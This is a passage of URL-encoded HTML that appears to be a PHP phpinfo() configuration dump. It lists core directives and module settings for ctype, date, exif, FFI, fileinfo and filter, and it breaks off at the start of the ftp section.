2Ftd%3E%3Ctd%20class%3D%22v%22%3E2%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E2%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Ehighlight.comment%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Cfont%20style%3D%22color%3A%20%23FF8000%22%3E%23FF8000%3C%2Ffont%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Cfont%20style%3D%22color%3A%20%23FF8000%22%3E%23FF8000%3C%2Ffont%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Ehighlight.default%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Cfont%20style%3D%22color%3A%20%230000BB%22%3E%230000BB%3C%2Ffont%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Cfont%20style%3D%22color%3A%20%230000BB%22%3E%230000BB%3C%2Ffont%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Ehighlight.html%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Cfont%20style%3D%22color%3A%20%23000000%22%3E%23000000%3C%2Ffont%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Cfont%20style%3D%22color%3A%20%23000000%22%3E%23000000%3C%2Ffont%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Ehighlight.keyword%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Cfont%20style%3D%22color%3A%20%23007700%22%3E%23007700%3C%2Ffont%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Cfont%20style%3D%22color%3A%20%23007700%22%3E%23007700%3C%2Ffont%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Ehighlight.string%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Cfont%20style%3D%22color%3A%20%23DD0000%22%3E%23DD0000%3C%2Ffont%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Cfont%20style%3D%22color%3A%20%23DD0000%22%3E%23DD0000%3C%2Ffont%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Ehtml_errors%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eignore_repeated_errors%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eignore_repeated_source%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eignore_user_abort%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eimplicit_flush%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Einclude_path%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E.%3A%2Fusr%2Fshare%2Fphp%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E.%3A%2Fusr%2Fshare%2Fphp%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Einput_encoding%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Einternal_encoding%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Elog_errors%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Email.add_x_header%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Email.force_extra_parameters%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Email.log%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Email.mixed_lf_and_crlf%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Emax_execution_time%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E30%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E30%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Emax_file_uploads%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Emax_input_nesting_level%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E64%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E64%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Emax_input_time%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E60%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E60%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Emax_input_vars%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E1000%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E1000%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Emax_multipart_body_parts%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E-1%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E-1%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Ememory_limit%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E128M%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E128M%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eopen_basedir%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eoutput_buffering%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E4096%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E4096%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eoutput_encoding%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eoutput_handler%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Epost_max_size%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E8M%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E8M%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eprecision%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E14%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E14%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Erealpath_cache_size%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E4096K%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E4096K%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Erealpath_cache_ttl%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E120%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E120%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eregister_argc_argv%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Ereport_memleaks%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Ereport_zend_debug%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Erequest_order%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EGP%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EGP%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Esendmail_from%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Esendmail_path%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%2Fusr%2Fsbin%2Fsendmail%26nbsp%3B-t%26nbsp%3B-i%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%2Fusr%2Fsbin%2Fsendmail%26nbsp%3B-t%26nbsp%3B-i%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eserialize_precision%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E-1%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E-1%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eshort_open_tag%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3ESMTP%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Elocalhost%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Elocalhost%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Esmtp_port%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E25%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E25%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Esys_temp_dir%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Esyslog.facility%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3ELOG_USER%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3ELOG_USER%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Esyslog.filter%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eno-ctrl%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eno-ctrl%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Esyslog.ident%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Ephp%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Ephp%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eunserialize_callback_func%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eupload_max_filesize%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E2M%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E2M%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eupload_tmp_dir%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Euser_dir%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Euser_ini.cache_ttl%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E300%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E300%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Euser_ini.filename%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E.user.ini%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E.user.ini%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Evariables_order%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EGPCS%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EGPCS%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Exmlrpc_error_number%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E0%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E0%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Exmlrpc_errors%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Ezend.assertions%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E-1%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E-1%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Ezend.detect_unicode%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Ezend.enable_gc%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Ezend.exception_ignore_args%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Ezend.exception_string_param_max_len%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E0%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E0%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Ezend.multibyte%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Ezend.script_encoding%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Ezend.signal_check%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ch2%3E%3Ca%20name%3D%22module_ctype%22%20href%3D%22%23module_ctype%22%3Ectype%3C%2Fa%3E%3C%2Fh2%3E%0A%3Ctable%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Ectype%20functions%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eenabled%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ch2%3E%3Ca%20name%3D%22module_date%22%20href%3D%22%23module_date%22%3Edate%3C%2Fa%3E%3C%2Fh2%3E%0A%3Ctable%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Edate%2Ftime%20support%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eenabled%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Etimelib%20version%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E2022.10%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3E%26quot%3BOlson%26quot%3B%20Timezone%20Database%20Version%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E0.system%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3ETimezone%20Database%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Einternal%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EDefault%20timezone%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EUTC%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ctable%3E%0A%3Ctr%20class%3D%22h%22%3E%3Cth%3EDirective%3C%2Fth%3E%3Cth%3ELocal%20Value%3C%2Fth%3E%3Cth%3EMaster%20Value%3C%2Fth%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Edate.default_latitude%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E31.7667%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E31.7667%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Edate.default_longitude%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E35.2333%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E35.2333%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Edate.sunrise_zenith%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E90.833333%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E90.833333%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Edate.sunset_zenith%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E90.833333%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E90.833333%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Edate.timezone%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EUTC%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EUTC%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ch2%3E%3Ca%20name%3D%22module_exif%22%20href%3D%22%23module_exif%22%3Eexif%3C%2Fa%3E%3C%2Fh2%3E%0A%3Ctable%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EEXIF%20Support%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eenabled%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3ESupported%20EXIF%20Version%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E0220%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3ESupported%20filetypes%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EJPEG%2C%20TIFF%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EMultibyte%20decoding%20support%20using%20mbstring%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Edisabled%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EExtended%20EXIF%20tag%20formats%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3ECanon%2C%20Casio%2C%20Fujifilm%2C%20Nikon%2C%20Olympus%2C%20Samsung%2C%20Panasonic%2C%20DJI%2C%20Sony%2C%20Pentax%2C%20Minolta%2C%20Sigma%2C%20Foveon%2C%20Kyocera%2C%20Ricoh%2C%20AGFA%2C%20Epson%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ctable%3E%0A%3Ctr%20class%3D%22h%22%3E%3Cth%3EDirective%3C%2Fth%3E%3Cth%3ELocal%20Value%3C%2Fth%3E%3Cth%3EMaster%20Value%3C%2Fth%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eexif.decode_jis_intel%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EJIS%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EJIS%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eexif.decode_jis_motorola%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EJIS%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EJIS%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eexif.decode_unicode_intel%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EUCS-2LE%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EUCS-2LE%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eexif.decode_unicode_motorola%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EUCS-2BE%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EUCS-2BE%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eexif.encode_jis%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eexif.encode_unicode%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EISO-8859-15%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EISO-8859-15%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ch2%3E%3Ca%20name%3D%22module_ffi%22%20href%3D%22%23module_ffi%22%3EFFI%3C%2Fa%3E%3C%2Fh2%3E%0A%3Ctable%3E%0A%3Ctr%20class%3D%22h%22%3E%3Cth%3EFFI%20support%3C%2Fth%3E%3Cth%3Eenabled%3C%2Fth%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ctable%3E%0A%3Ctr%20class%3D%22h%22%3E%3Cth%3EDirective%3C%2Fth%3E%3Cth%3ELocal%20Value%3C%2Fth%3E%3Cth%3EMaster%20Value%3C%2Fth%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Effi.enable%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Epreload%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Epreload%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Effi.preload%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ch2%3E%3Ca%20name%3D%22module_fileinfo%22%20href%3D%22%23module_fileinfo%22%3Efileinfo%3C%2Fa%3E%3C%2Fh2%3E%0A%3Ctable%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Efileinfo%20support%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eenabled%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Elibmagic%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E540%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ch2%3E%3Ca%20name%3D%22module_filter%22%20href%3D%22%23module_filter%22%3Efilter%3C%2Fa%3E%3C%2Fh2%3E%0A%3Ctable%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EInput%20Validation%20and%20Filtering%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eenabled%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ctable%3E%0A%3Ctr%20class%3D%22h%22%3E%3Cth%3EDirective%3C%2Fth%3E%3Cth%3ELocal%20Value%3C%2Fth%3E%3Cth%3EMaster%20Value%3C%2Fth%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Efilter.default%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eunsafe_raw%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eunsafe_raw%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Efilter.default_flags%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ch2%3E%3Ca%20name%3D%22module_ftp%22%20href%3D%22%23module_ftp%22%3Eftp%3C%2Fa%3E%3C%2Fh2%3E%0A%3Ctable%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EFTP%20support%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eenabled%20%3C%2Ftd%3E%3C%2Ftr